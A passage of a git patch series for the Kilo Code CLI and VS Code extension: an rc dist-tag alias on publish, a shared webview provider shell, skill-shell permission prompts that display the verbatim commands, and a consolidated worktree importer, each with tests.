+ {props.lead} Date: Wed, 29 Jul 2026 14:35:49 +0200 Subject: [PATCH 040/100] fix(cli): promote stable releases to rc (#12647) --- .changeset/fresh-rc-upgrades.md | 5 ++++ .../opencode/script/kilocode/npm-publish.ts | 4 +++ packages/opencode/script/publish.ts | 25 +++++++++++-------- .../test/kilocode/npm-publish.test.ts | 10 ++++++++ 4 files changed, 33 insertions(+), 11 deletions(-) create mode 100644 .changeset/fresh-rc-upgrades.md diff --git a/.changeset/fresh-rc-upgrades.md b/.changeset/fresh-rc-upgrades.md new file mode 100644 index 0000000000..61a54ea4e2 --- /dev/null +++ b/.changeset/fresh-rc-upgrades.md @@ -0,0 +1,5 @@ +--- +"@kilocode/cli": patch +--- + +Keep RC installations up to date when a newer stable CLI release is published. diff --git a/packages/opencode/script/kilocode/npm-publish.ts b/packages/opencode/script/kilocode/npm-publish.ts index 2744ff675e..8f07ed2e75 100644 --- a/packages/opencode/script/kilocode/npm-publish.ts +++ b/packages/opencode/script/kilocode/npm-publish.ts @@ -3,6 +3,10 @@ export namespace NpmPublish { const base = 10_000 const jitter = 5_000 + export function aliases(channel: string) { + return channel === "latest" ? ["rc"] : [] + } + export async function retry(input: { name: string version: string diff --git a/packages/opencode/script/publish.ts b/packages/opencode/script/publish.ts index bd94c7c0e3..cfc99cacab 100755 --- a/packages/opencode/script/publish.ts +++ b/packages/opencode/script/publish.ts @@ -16,18 +16,21 @@ async function publish(dir: string, name: string, version: string) { // GitHub artifact downloads can drop the executable bit, and Docker uses the // unpacked dist binaries directly rather than the published tarball. if (process.platform !== "win32") await $`chmod -R 755 .`.cwd(dir) - if (await published(name, version)) { - console.log(`already published ${name}@${version}`) - return - } - await $`bun pm pack`.cwd(dir) // kilocode_change start - await NpmPublish.retry({ - name, - version, - run: () => $`npm publish *.tgz --access public --tag ${Script.channel} --provenance`.cwd(dir), - exists: () => published(name, version), - }) + const exists = await published(name, version) + if (exists) { + console.log(`already published ${name}@${version}`) + } + if (!exists) { + await $`bun pm pack`.cwd(dir) + await NpmPublish.retry({ + name, + version, + run: () => $`npm publish *.tgz --access public --tag ${Script.channel} --provenance`.cwd(dir), + exists: () => published(name, version), + }) + } + for (const tag of NpmPublish.aliases(Script.channel)) await $`npm dist-tag add ${name}@${version} ${tag}` // kilocode_change end } diff --git a/packages/opencode/test/kilocode/npm-publish.test.ts b/packages/opencode/test/kilocode/npm-publish.test.ts index 62e9434986..33318925ce 100644 --- a/packages/opencode/test/kilocode/npm-publish.test.ts +++ b/packages/opencode/test/kilocode/npm-publish.test.ts @@ -1,6 +1,16 @@ import { describe, expect, test } from "bun:test" import { NpmPublish } from "../../script/kilocode/npm-publish" +describe("npm publish aliases", () => { + test("promotes stable releases to the rc channel", () => { + expect(NpmPublish.aliases("latest")).toEqual(["rc"]) + }) + + test("does not promote prereleases", () => { + expect(NpmPublish.aliases("rc")).toEqual([]) + }) +}) + describe("npm publish retry", () => { test("returns after the first successful attempt", async () => { const calls = { run: 0, exists: 0, sleep: 0 } From efe3f6282501c4cfe1e642b4ddd2990d71f3dfc1 Mon Sep 17 00:00:00 2001 From: Marius Date: Wed, 29 Jul 2026 14:45:48 +0200 Subject: [PATCH 041/100] refactor(vscode): share webview provider shell (#12648) --- .../tests/unit/agent-manager-arch.test.ts | 119 +++++++++--------- .../agent-manager/AgentManagerApp.tsx | 91 +++----------- packages/kilo-vscode/webview-ui/src/App.tsx | 115 +++-------------- .../webview-ui/src/context/provider-shell.tsx | 96 ++++++++++++++ 4 files changed, 192 insertions(+), 229 deletions(-) create mode 100644 packages/kilo-vscode/webview-ui/src/context/provider-shell.tsx diff --git a/packages/kilo-vscode/tests/unit/agent-manager-arch.test.ts b/packages/kilo-vscode/tests/unit/agent-manager-arch.test.ts index afcbae2f3d..53536201df 100644 --- a/packages/kilo-vscode/tests/unit/agent-manager-arch.test.ts +++ b/packages/kilo-vscode/tests/unit/agent-manager-arch.test.ts @@ -892,70 +892,73 @@ describe("Agent Manager — VS Code import boundary", () => { }) }) -// --------------------------------------------------------------------------- -// Provider chain parity — sidebar App.tsx vs AgentManagerApp.tsx -// -// The agent manager reuses ChatView (and therefore MessageList, etc.) from the -// sidebar. Any context provider that ChatView's tree may call useXxx() on must -// also be present in the agent manager's provider chain. A missing provider -// crashes the entire SolidJS component tree silently. -// -// Regression: PR #7473 moved KiloNotifications into MessageList. It calls -// useNotifications(), but NotificationsProvider was only in App.tsx — the agent -// manager rendered a blank screen. -// --------------------------------------------------------------------------- - const APP_FILE = path.join(ROOT, "webview-ui/src/App.tsx") const AGENT_MANAGER_APP_FILE = path.join(ROOT, "webview-ui/agent-manager/AgentManagerApp.tsx") +const PROVIDER_SHELL_FILE = path.join(ROOT, "webview-ui/src/context/provider-shell.tsx") -describe("Agent Manager — provider chain parity with sidebar", () => { - /** - * Extract provider component names used as JSX elements in a file. - * Matches `` patterns, returning the names. - */ - function extractProviders(content: string): string[] { - const matches = [...content.matchAll(/<(\w+Provider)\b/g)] - return [...new Set(matches.map((m) => m[1]!))] +describe("Shared webview provider shell", () => { + function ordered(source: string, names: string[]) { + const positions = names.map((name) => source.indexOf(`<${name}`)) + expect( + positions.every((position) => position >= 0), + `Missing provider from ${names.join(" -> ")}`, + ).toBe(true) + expect(positions).toEqual([...positions].sort((a, b) => a - b)) } - /** - * Providers that the agent manager intentionally omits because it does not - * use the components that depend on them. If a shared component (ChatView, - * MessageList, etc.) starts using one of these, the test will fail and - * force the developer to add the provider to AgentManagerApp.tsx. - */ - const KNOWN_EXCLUSIONS: string[] = [ - // These are wrapped by LanguageBridge and DataBridge respectively, - // which the agent manager already includes in its provider chain. - "LanguageProvider", - "DataProvider", - // Agent Manager owns its local session tabs and ChatView only reads this - // optional context in the standard sidebar/editor webview. - "LocalTabsProvider", - // Work-style onboarding is injected only into the sidebar empty state. - "WorkStyleProvider", - ] + it("owns the common provider order and bridges", () => { + const source = fs.readFileSync(PROVIDER_SHELL_FILE, "utf-8") + ordered(source, [ + "ThemeProvider", + "DialogProvider", + "VSCodeProvider", + "MermaidDownloadBridge", + "ServerProvider", + "LanguageBridge", + "MarkedProvider", + "DiffComponentProvider", + "CodeComponentProvider", + "FileComponentProvider", + "ProviderProvider", + "ConfigProvider", + "SpeechToTextPrewarm", + "DisplayProvider", + "IndexingProvider", + "KiloEmbeddingModelsProvider", + "ImageModelsProvider", + "NotificationsProvider", + "SessionProvider", + "AgentRequirementsProvider", + "MemoryProvider", + "FeedbackProvider", + ]) + expect(source.indexOf("")) + }) - it("agent manager includes all context providers from sidebar App.tsx", () => { - const sidebar = fs.readFileSync(APP_FILE, "utf-8") - const agent = fs.readFileSync(AGENT_MANAGER_APP_FILE, "utf-8") + it("keeps sidebar-only providers in the sidebar root", () => { + const source = fs.readFileSync(APP_FILE, "utf-8") + ordered(source, [ + "ProviderShell.Root", + "WorkStyleProvider", + "ProviderShell.Session", + "LocalTabsProvider", + "ProviderShell.Chat", + "DataBridge", + "AppContent", + ]) + expect(fs.readFileSync(PROVIDER_SHELL_FILE, "utf-8")).not.toMatch(/WorkStyleProvider|LocalTabsProvider/) + }) - const sidebarProviders = extractProviders(sidebar) - const agentProviders = extractProviders(agent) - const agentSet = new Set(agentProviders) - const excluded = new Set(KNOWN_EXCLUSIONS) - - const missing = sidebarProviders.filter((p) => !agentSet.has(p) && !excluded.has(p)) - - expect( - missing, - `These providers are in App.tsx but missing from AgentManagerApp.tsx.\n` + - `The agent manager reuses ChatView — any provider that ChatView's component\n` + - `tree depends on must be present in both provider chains.\n\n` + - `Missing providers:\n` + - missing.map((p) => ` - ${p}`).join("\n") + - `\n\nFix: add the missing <${missing[0]}> to AgentManagerApp.tsx's provider chain,\n` + - `or add it to KNOWN_EXCLUSIONS with a justification if it's truly unused.`, - ).toEqual([]) + it("keeps worktree mode in the Agent Manager root", () => { + const source = fs.readFileSync(AGENT_MANAGER_APP_FILE, "utf-8") + ordered(source, [ + "ProviderShell.Root", + "ProviderShell.Session", + "ProviderShell.Chat", + "WorktreeModeProvider", + "DataBridge", + "AgentManagerContent", + ]) + expect(fs.readFileSync(PROVIDER_SHELL_FILE, "utf-8")).not.toContain("WorktreeModeProvider") }) }) diff --git a/packages/kilo-vscode/webview-ui/agent-manager/AgentManagerApp.tsx b/packages/kilo-vscode/webview-ui/agent-manager/AgentManagerApp.tsx index 7f1773ba89..8397077e5d 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/AgentManagerApp.tsx +++ b/packages/kilo-vscode/webview-ui/agent-manager/AgentManagerApp.tsx @@ -39,7 +39,6 @@ import type { SessionCreatedMessage, BranchInfo, } from "../src/types/messages" -import { IndexingProvider } from "../src/context/indexing" import { DragDropProvider, DragDropSensors, @@ -49,43 +48,24 @@ import { createSortable, } from "@thisbeyond/solid-dnd" import type { DragEvent } from "@thisbeyond/solid-dnd" -import { ThemeProvider } from "@kilocode/kilo-ui/theme" -import { DialogProvider, useDialog } from "@kilocode/kilo-ui/context/dialog" +import { useDialog } from "@kilocode/kilo-ui/context/dialog" import { Dialog } from "@kilocode/kilo-ui/dialog" import { DropdownMenu } from "@kilocode/kilo-ui/dropdown-menu" -import { MarkedProvider } from "@kilocode/kilo-ui/context/marked" -import { CodeComponentProvider } from "@kilocode/kilo-ui/context/code" -import { DiffComponentProvider } from "@kilocode/kilo-ui/context/diff" -import { FileComponentProvider } from "@kilocode/kilo-ui/context/file" -import { Code } from "@kilocode/kilo-ui/code" -import { Diff } from "@kilocode/kilo-ui/diff" -import { File } from "@kilocode/kilo-ui/file" -import { Toast, showToast } from "@kilocode/kilo-ui/toast" +import { showToast } from "@kilocode/kilo-ui/toast" import { ResizeHandle } from "@kilocode/kilo-ui/resize-handle" import { Icon } from "@kilocode/kilo-ui/icon" import { Button } from "@kilocode/kilo-ui/button" import { IconButton } from "@kilocode/kilo-ui/icon-button" import { Spinner } from "@kilocode/kilo-ui/spinner" import { Tooltip, TooltipKeybind } from "@kilocode/kilo-ui/tooltip" -import { VSCodeProvider, useVSCode } from "../src/context/vscode" -import { ServerProvider } from "../src/context/server" -import { ProviderProvider } from "../src/context/provider" -import { ConfigProvider } from "../src/context/config" -import { DisplayProvider } from "../src/context/display" -import { KiloEmbeddingModelsProvider } from "../src/context/kilo-embedding-models" -import { ImageModelsProvider } from "../src/context/image-models" -import { NotificationsProvider } from "../src/context/notifications" -import { FeedbackProvider } from "../src/context/feedback" -import { MemoryProvider } from "../src/context/memory" -import { SessionProvider, useSession } from "../src/context/session" -import { AgentRequirementsProvider } from "../src/context/agent-requirements" +import { useVSCode } from "../src/context/vscode" +import { useSession } from "../src/context/session" import { WorktreeModeProvider } from "../src/context/worktree-mode" +import { ProviderShell } from "../src/context/provider-shell" import { ChatView } from "../src/components/chat" -import { SpeechToTextPrewarm } from "../src/components/speech-to-text/SpeechToTextPrewarm" import HistoryView from "../src/components/history/HistoryView" import { NewWorktreeDialog } from "./NewWorktreeDialog" -import { DataBridge, MermaidDownloadBridge } from "../src/App" -import { LanguageBridge } from "../src/context/language-bridge" +import { DataBridge } from "../src/App" import { useLanguage } from "../src/context/language" import { createTabFocus } from "../src/utils/tab-navigation" import { @@ -2880,53 +2860,16 @@ const AgentManagerContent: Component = () => { export const AgentManagerApp: Component = () => { return ( - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + ) } diff --git a/packages/kilo-vscode/webview-ui/src/App.tsx b/packages/kilo-vscode/webview-ui/src/App.tsx index 1aa6768823..7fa356e848 100644 --- a/packages/kilo-vscode/webview-ui/src/App.tsx +++ b/packages/kilo-vscode/webview-ui/src/App.tsx @@ -1,34 +1,18 @@ import { Component, createSignal, createMemo, Switch, Match, Show, onMount, onCleanup } from "solid-js" -import { ThemeProvider } from "@kilocode/kilo-ui/theme" -import { DialogProvider } from "@kilocode/kilo-ui/context/dialog" -import { MarkedProvider } from "@kilocode/kilo-ui/context/marked" -import { CodeComponentProvider } from "@kilocode/kilo-ui/context/code" -import { DiffComponentProvider } from "@kilocode/kilo-ui/context/diff" -import { FileComponentProvider } from "@kilocode/kilo-ui/context/file" -import { Code } from "@kilocode/kilo-ui/code" -import { Diff } from "@kilocode/kilo-ui/diff" -import { File } from "@kilocode/kilo-ui/file" import { DataProvider } from "@kilocode/kilo-ui/context/data" -import { Toast } from "@kilocode/kilo-ui/toast" import Settings from "./components/settings/Settings" import ProfileView from "./components/profile/ProfileView" -import { VSCodeProvider, useVSCode } from "./context/vscode" -import { ServerProvider, useServer } from "./context/server" -import { ProviderProvider, useProvider } from "./context/provider" -import { ConfigProvider } from "./context/config" -import { DisplayProvider } from "./context/display" +import { useVSCode } from "./context/vscode" +import { useServer } from "./context/server" +import { useProvider } from "./context/provider" import { WorkStyleProvider } from "./context/work-style" -import { IndexingProvider } from "./context/indexing" -import { AgentRequirementsProvider } from "./context/agent-requirements" -import { MemoryProvider } from "./context/memory" -import { SessionProvider, useSession } from "./context/session" +import { useSession } from "./context/session" import { LocalTabsProvider, useLocalTabs } from "./context/local-tabs" -import { LanguageBridge } from "./context/language-bridge" +import { ProviderShell } from "./context/provider-shell" import { ChatView } from "./components/chat" import { SidebarEmptyState } from "./components/chat/SidebarEmptyState" import { registerExpandedTaskTool } from "./components/chat/TaskToolExpanded" import { registerVscodeToolOverrides } from "./components/chat/VscodeToolOverrides" -import { SpeechToTextPrewarm } from "./components/speech-to-text/SpeechToTextPrewarm" // Override the upstream "task" tool renderer with the fully-expanded version // that shows child session parts inline in the VS Code sidebar. @@ -37,10 +21,6 @@ registerExpandedTaskTool() registerVscodeToolOverrides() import HistoryView from "./components/history/HistoryView" import { MigrationWizard } from "./components/migration" // legacy-migration -import { NotificationsProvider } from "./context/notifications" -import { FeedbackProvider } from "./context/feedback" -import { KiloEmbeddingModelsProvider } from "./context/kilo-embedding-models" -import { ImageModelsProvider } from "./context/image-models" import type { Message as SDKMessage, Part as SDKPart } from "@kilocode/sdk/v2" import { cycleAgent as cycle } from "./context/session-agent" import "./styles/chat.css" @@ -210,27 +190,6 @@ export const DataBridge: Component<{ children: any }> = (props) => { ) } -type MermaidImageEvent = CustomEvent<{ dataUrl: string; filename: string }> - -export const MermaidDownloadBridge: Component = () => { - const vscode = useVSCode() - - onMount(() => { - const save = (event: Event) => { - const detail = (event as MermaidImageEvent).detail - if (!detail?.dataUrl || !detail.filename) return - event.preventDefault() - vscode.postMessage({ type: "saveImage", dataUrl: detail.dataUrl, filename: detail.filename }) - } - window.addEventListener("kilo:save-image", save) - onCleanup(() => { - window.removeEventListener("kilo:save-image", save) - }) - }) - - return null -} - // Inner app component that uses the contexts const AppContent: Component = () => { const [currentView, setCurrentView] = createSignal("newTask") @@ -412,59 +371,21 @@ const AppContent: Component = () => { ) } -// Main App component with context providers const App: Component = () => { return ( - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + ) } diff --git a/packages/kilo-vscode/webview-ui/src/context/provider-shell.tsx b/packages/kilo-vscode/webview-ui/src/context/provider-shell.tsx new file mode 100644 index 0000000000..7a89205249 --- /dev/null +++ b/packages/kilo-vscode/webview-ui/src/context/provider-shell.tsx @@ -0,0 +1,96 @@ +import { onCleanup, onMount, type Component, type ParentComponent } from "solid-js" +import { ThemeProvider } from "@kilocode/kilo-ui/theme" +import { DialogProvider } from "@kilocode/kilo-ui/context/dialog" +import { MarkedProvider } from "@kilocode/kilo-ui/context/marked" +import { CodeComponentProvider } from "@kilocode/kilo-ui/context/code" +import { DiffComponentProvider } from "@kilocode/kilo-ui/context/diff" +import { FileComponentProvider } from "@kilocode/kilo-ui/context/file" +import { Code } from "@kilocode/kilo-ui/code" +import { Diff } from "@kilocode/kilo-ui/diff" +import { File } from "@kilocode/kilo-ui/file" +import { Toast } from "@kilocode/kilo-ui/toast" +import { VSCodeProvider, useVSCode } from "./vscode" +import { ServerProvider } from "./server" +import { ProviderProvider } from "./provider" +import { ConfigProvider } from "./config" +import { DisplayProvider } from "./display" +import { IndexingProvider } from "./indexing" +import { AgentRequirementsProvider } from "./agent-requirements" +import { MemoryProvider } from "./memory" +import { SessionProvider } from "./session" +import { LanguageBridge } from "./language-bridge" +import { NotificationsProvider } from "./notifications" +import { FeedbackProvider } from "./feedback" +import { KiloEmbeddingModelsProvider } from "./kilo-embedding-models" +import { ImageModelsProvider } from "./image-models" +import { SpeechToTextPrewarm } from "../components/speech-to-text/SpeechToTextPrewarm" + +type MermaidImageEvent = CustomEvent<{ dataUrl: string; filename: string }> + +const MermaidDownloadBridge: Component = () => { + const vscode = useVSCode() + + onMount(() => { + const save = (event: Event) => { + const detail = (event as MermaidImageEvent).detail + if (!detail?.dataUrl || !detail.filename) return + event.preventDefault() + vscode.postMessage({ type: "saveImage", dataUrl: detail.dataUrl, filename: detail.filename }) + } + window.addEventListener("kilo:save-image", save) + onCleanup(() => window.removeEventListener("kilo:save-image", save)) + }) + + return null +} + +const Root: ParentComponent = (props) => ( + + + + + + + + + + + + + + {props.children} + + + + + + + + + + + + +) + +const Session: ParentComponent = (props) => ( + + + + + {props.children} + + + + +) + +const Chat: ParentComponent = (props) => ( + + + {props.children} + + +) + +export const ProviderShell = { Root, Session, Chat } From 1ed1a484941f72ec243f9e0a3dbb65c2d502033f Mon Sep 17 00:00:00 2001 From: Bruno Agatao Date: Wed, 29 Jul 2026 14:46:44 +0200 Subject: [PATCH 042/100] fix(cli): display verbatim skill commands in the permission prompt --- packages/opencode/src/acp/permission.ts | 2 +- packages/opencode/src/kilocode/skills/inject.ts | 14 +++++++++----- packages/opencode/test/acp/permission.test.ts | 5 +++-- .../opencode/test/kilocode/skills/inject.test.ts | 7 +++++-- packages/tui/src/routes/session/permission.tsx | 8 +++++--- 5 files changed, 23 insertions(+), 13 deletions(-) diff --git a/packages/opencode/src/acp/permission.ts b/packages/opencode/src/acp/permission.ts index 8bf102f217..68555d7bff 100644 --- a/packages/opencode/src/acp/permission.ts +++ b/packages/opencode/src/acp/permission.ts @@ -70,7 +70,7 @@ export class Handler { toolCallId: permission.tool?.callID ?? permission.id, status: "pending", title: skillShell ? "Run skill shell commands" : permission.permission, // kilocode_change - rawInput: skillShell ? { ...permission.metadata, commands: permission.patterns } : permission.metadata, // kilocode_change + rawInput: permission.metadata, // kilocode_change - metadata.commands carries the verbatim command list kind: toToolKind(permission.permission), locations: toLocations(permission.permission, permission.metadata), }, diff --git a/packages/opencode/src/kilocode/skills/inject.ts b/packages/opencode/src/kilocode/skills/inject.ts index 3c738ad3d6..d577ade7e2 100644 --- a/packages/opencode/src/kilocode/skills/inject.ts +++ b/packages/opencode/src/kilocode/skills/inject.ts @@ -75,22 +75,26 @@ export namespace SkillInject { for (const dir of scan.dirs) dirs.add(dir) } - // Single up-front approval. Out-of-project directories are asked first, then - // the decomposed sub-commands. `skillShell` forces the prompt over allow/YOLO - // rules; a deny/veto on any sub-command propagates as a defect and aborts. + // Single up-front approval. `patterns` are the decomposed sub-commands used for + // rule matching; `metadata.commands` is the verbatim per-placeholder list the + // prompt displays, so what is shown is exactly what runs (decomposition drops + // cd/set-location segments and splits pipelines, which must not hide from the + // user). `skillShell` forces the prompt over allow/YOLO rules; a deny/veto on + // any sub-command propagates as a defect and aborts. + const metadata = { skillShell: true, skill: opts.skill, commands } if (dirs.size > 0) { yield* opts.ctx.ask({ permission: "external_directory", patterns: Array.from(dirs), always: [], - metadata: { skillShell: true, skill: opts.skill }, + metadata, }) } yield* opts.ctx.ask({ permission: "bash", patterns: Array.from(patterns), always: [], - metadata: { skillShell: true, skill: opts.skill }, + metadata, }) // Run each command in the instance directory, bounded by ctx.abort (ESC) and a diff --git a/packages/opencode/test/acp/permission.test.ts b/packages/opencode/test/acp/permission.test.ts index 76ce5584c2..f789086d37 100644 --- a/packages/opencode/test/acp/permission.test.ts +++ b/packages/opencode/test/acp/permission.test.ts @@ -213,7 +213,8 @@ describe("acp permissions", () => { harness.subscription.handle( permissionAsked("ses_a", "perm_skill", { permission: "bash", - metadata: { skillShell: true }, + // metadata.commands carries the verbatim command list the injector sends + metadata: { skillShell: true, commands: ["git status", "printf hi"] }, tool: { messageID: "msg_1", callID: "call_1" }, }), ) @@ -223,7 +224,7 @@ describe("acp permissions", () => { expect(harness.requests[0]).toMatchObject({ toolCall: { title: "Run skill shell commands", - rawInput: { skillShell: true, commands: ["*"] }, + rawInput: { skillShell: true, commands: ["git status", "printf hi"] }, }, // no allow_always: skill shell is never persisted options: [ diff --git a/packages/opencode/test/kilocode/skills/inject.test.ts b/packages/opencode/test/kilocode/skills/inject.test.ts index f0e4f7f82e..50e6c61641 100644 --- a/packages/opencode/test/kilocode/skills/inject.test.ts +++ b/packages/opencode/test/kilocode/skills/inject.test.ts @@ -97,8 +97,9 @@ describe("skill shell injection", () => { const bash = requests.filter((r) => r.permission === "bash") expect(bash.length).toBe(1) expect(bash[0].metadata?.["skillShell"]).toBe(true) - // patterns carry the command list the prompt renders + // patterns drive rule matching; metadata.commands is the verbatim list the prompt renders expect(bash[0].patterns).toEqual(["printf one", "printf two"]) + expect(bash[0].metadata?.["commands"]).toEqual(["printf one", "printf two"]) }), ) @@ -130,10 +131,12 @@ describe("skill shell injection", () => { const bash = requests.filter((r) => r.permission === "bash") expect(bash.length).toBe(1) - // both sub-commands are present as distinct patterns, not the raw string + // patterns are decomposed per sub-command so deny/veto rules apply to each expect(bash[0].patterns).toContain("cat README.md") expect(bash[0].patterns).toContain("printf hi") expect(bash[0].patterns).not.toContain("cat README.md; printf hi") + // but the prompt displays the verbatim placeholder, so nothing is hidden from the user + expect(bash[0].metadata?.["commands"]).toEqual(["cat README.md; printf hi"]) }), ) diff --git a/packages/tui/src/routes/session/permission.tsx b/packages/tui/src/routes/session/permission.tsx index 6b1b391fca..819ff4b71b 100644 --- a/packages/tui/src/routes/session/permission.tsx +++ b/packages/tui/src/routes/session/permission.tsx @@ -293,10 +293,12 @@ export function PermissionPrompt(props: { request: PermissionRequest; directory? } if (permission === "bash") { - // kilocode_change start - skill shell batches list every command, control-char-escaped so the - // displayed command cannot repaint the line to differ from what executes + // kilocode_change start - skill shell batches display the verbatim commands that will execute (from + // metadata.commands, never the decomposed patterns, which drop cd segments and split pipelines), + // control-char-escaped so the displayed command cannot repaint the line to differ from what runs if (props.request.metadata?.["skillShell"] === true) { - const commands = (props.request.patterns ?? []).filter((p): p is string => typeof p === "string") + const verbatim = props.request.metadata?.["commands"] + const commands = (Array.isArray(verbatim) ? verbatim : []).filter((p): p is string => typeof p === "string") const skill = typeof props.request.metadata?.["skill"] === "string" ? props.request.metadata["skill"] : undefined return { icon: "#", From 21d96806a2ed26b8832c0d17e7432f96c8aa5db9 Mon Sep 17 00:00:00 2001 From: Marius Date: Wed, 29 Jul 2026 14:47:02 +0200 Subject: [PATCH 043/100] refactor(agent-manager): consolidate import transaction (#12651) --- .../src/agent-manager/worktree-importer.ts | 96 +++++-------------- .../tests/unit/agent-manager-arch.test.ts | 61 +++++++++++- 2 files changed, 78 insertions(+), 79 deletions(-) diff --git a/packages/kilo-vscode/src/agent-manager/worktree-importer.ts b/packages/kilo-vscode/src/agent-manager/worktree-importer.ts index d840f67eb5..f589a7c4eb 100644 --- a/packages/kilo-vscode/src/agent-manager/worktree-importer.ts +++ b/packages/kilo-vscode/src/agent-manager/worktree-importer.ts @@ -56,63 +56,14 @@ export class WorktreeImporter { } async branch(branch: string): Promise { - const manager = this.host.manager() - const state = this.host.state() - if (!manager || !state) { - this.host.post({ type: "agentManager.importResult", success: false, message: "Not a git repository" }) - return - } - if (this.busy()) return - - this.importing = true - try { - this.host.post({ - type: "agentManager.worktreeSetup", - status: "creating", - message: "Creating worktree from branch...", - }) - const result = await manager.createWorktree({ existingBranch: branch }) - const worktree = state.addWorktree({ - branch: result.branch, - path: result.path, - parentBranch: result.parentBranch, - remote: result.remote, - branchOwned: false, - }) - this.host.push() - - try { - this.host.post({ - type: "agentManager.worktreeSetup", - status: "creating", - message: "Running setup script...", - branch: result.branch, - worktreeId: worktree.id, - }) - await this.host.setup(result.path, result.branch, worktree.id) - - const session = await this.host.session(result.path, result.branch, worktree.id) - if (!session) throw new Error("Failed to create session") - - state.addSession(session.id, worktree.id) - this.host.register(session.id, result.path) - this.host.ready(session.id, result, worktree.id) - this.host.post({ type: "agentManager.importResult", success: true, message: `Opened branch ${branch}` }) - this.host.log(`Imported branch ${branch} as worktree ${worktree.id}`) - } catch (error) { - state.removeWorktree(worktree.id) - await manager.removeWorktree(result.path) - this.host.push() - throw error - } - } catch (error) { - this.importError(error, `Branch "${branch}" is already checked out in another worktree`) - } finally { - this.importing = false - } + await this.run({ branch }) } async pr(url: string): Promise { + await this.run({ url }) + } + + private async run(target: { branch: string } | { url: string }): Promise { const manager = this.host.manager() const state = this.host.state() if (!manager || !state) { @@ -120,11 +71,21 @@ export class WorktreeImporter { return } if (this.busy()) return - this.importing = true + const branch = "branch" in target + const creating = branch ? "Creating worktree from branch..." : "Resolving PR..." + const setup = branch ? "Running setup script..." : "Setting up worktree..." + const duplicate = branch + ? `Branch "${target.branch}" is already checked out in another worktree` + : "This PR's branch is already checked out in another worktree" try { - this.host.post({ type: "agentManager.worktreeSetup", status: "creating", message: "Resolving PR..." }) - const result = await manager.createFromPR(url) + const progress = { type: "agentManager.worktreeSetup", status: "creating" } as const + this.host.post({ ...progress, message: creating }) + const result = branch + ? await manager.createWorktree({ existingBranch: target.branch }) + : await manager.createFromPR(target.url) + const success = branch ? `Opened branch ${target.branch}` : `Opened PR branch ${result.branch}` + const log = branch ? `Imported branch ${target.branch}` : `Imported PR ${target.url}` const worktree = state.addWorktree({ branch: result.branch, path: result.path, @@ -133,29 +94,16 @@ export class WorktreeImporter { branchOwned: false, }) this.host.push() - try { - this.host.post({ - type: "agentManager.worktreeSetup", - status: "creating", - message: "Setting up worktree...", - branch: result.branch, - worktreeId: worktree.id, - }) + this.host.post({ ...progress, message: setup, branch: result.branch, worktreeId: worktree.id }) await this.host.setup(result.path, result.branch, worktree.id) - const session = await this.host.session(result.path, result.branch, worktree.id) if (!session) throw new Error("Failed to create session") - state.addSession(session.id, worktree.id) this.host.register(session.id, result.path) this.host.ready(session.id, result, worktree.id) - this.host.post({ - type: "agentManager.importResult", - success: true, - message: `Opened PR branch ${result.branch}`, - }) - this.host.log(`Imported PR ${url} as worktree ${worktree.id}`) + this.host.post({ type: "agentManager.importResult", success: true, message: success }) + this.host.log(`${log} as worktree ${worktree.id}`) } catch (error) { state.removeWorktree(worktree.id) await manager.removeWorktree(result.path) @@ -163,7 +111,7 @@ export class WorktreeImporter { throw error } } catch (error) { - this.importError(error, "This PR's branch is already checked out in another worktree") + this.importError(error, duplicate) } finally { this.importing = false } diff --git a/packages/kilo-vscode/tests/unit/agent-manager-arch.test.ts b/packages/kilo-vscode/tests/unit/agent-manager-arch.test.ts index 53536201df..ef69f9f317 100644 --- a/packages/kilo-vscode/tests/unit/agent-manager-arch.test.ts +++ b/packages/kilo-vscode/tests/unit/agent-manager-arch.test.ts @@ -11,6 +11,7 @@ import { describe, it, expect } from "bun:test" import fs from "node:fs" import path from "node:path" import { Project, SyntaxKind } from "ts-morph" +import { WorktreeImporter } from "../../src/agent-manager/worktree-importer" const ROOT = path.resolve(import.meta.dir, "../..") const KILO_PROVIDER_FILE = path.join(ROOT, "src/KiloProvider.ts") @@ -578,11 +579,61 @@ describe("Agent Manager Provider — onMessage routing", () => { it("worktree import behavior lives in the cohesive importer", () => { const text = importer() - const providerText = body("onImportMessage") - expect(text).toContain("class WorktreeImporter") - expect(text).toContain("createFromPR") - expect(text).toContain("createWorktree") - expect(providerText).toContain("this.importer") + for (const value of ["createFromPR", "createWorktree", "this.busy()"]) expect(text).toContain(value) + expect(body("onImportMessage")).toContain("this.importer") + }) + + it("preserves branch and PR import ordering and rollback", async () => { + const run = async (kind: "branch" | "pr", fail?: "setup" | "duplicate") => { + const events: string[] = [] + const create = async () => { + events.push("create") + if (fail === "duplicate") throw new Error("already checked out") + return { branch: "topic", path: "/repo/topic", parentBranch: "main" } + } + const importer = new WorktreeImporter({ + manager: () => + ({ createWorktree: create, createFromPR: create, removeWorktree: async () => events.push("disk") }) as never, + state: () => + ({ + addWorktree: (input: { branchOwned: boolean }) => ({ + id: events.push(`add:${input.branchOwned}`) ? "worktree" : "", + }), + addSession: () => events.push("state-session"), + removeWorktree: () => events.push("state-remove"), + }) as never, + post: (msg) => events.push("message" in msg ? String(msg.message) : msg.type), + push: () => events.push("push"), + setup: async () => { + events.push("setup") + if (fail === "setup") throw new Error("setup failed") + }, + session: async () => (events.push("session"), { id: "session" }) as never, + register: () => events.push("register"), + ready: () => events.push("ready"), + log: () => events.push("log"), + }) + const action = () => (kind === "branch" ? importer.branch("topic") : importer.pr("https://example.test/pull/1")) + await action() + if (fail === "setup") await action() + return events.join("|") + } + for (const kind of ["branch", "pr"] as const) { + const branch = kind === "branch" + const creating = branch ? "Creating worktree from branch..." : "Resolving PR..." + const setup = branch ? "Running setup script..." : "Setting up worktree..." + const success = branch ? "Opened branch topic" : "Opened PR branch topic" + expect(await run(kind)).toBe( + `${creating}|create|add:false|push|${setup}|setup|session|state-session|register|ready|${success}|log`, + ) + expect(await run(kind, "setup")).toBe( + `${creating}|create|add:false|push|${setup}|setup|state-remove|disk|push|setup failed|setup failed|${creating}|create|add:false|push|${setup}|setup|state-remove|disk|push|setup failed|setup failed`, + ) + const duplicate = branch + ? 'Branch "topic" is already checked out in another worktree' + : "This PR's branch is already checked out in another worktree" + expect(await run(kind, "duplicate")).toBe(`${creating}|create|${duplicate}|${duplicate}`) + } }) }) From bba2dba0a8c50feeb71c1181846f0d412fb52189 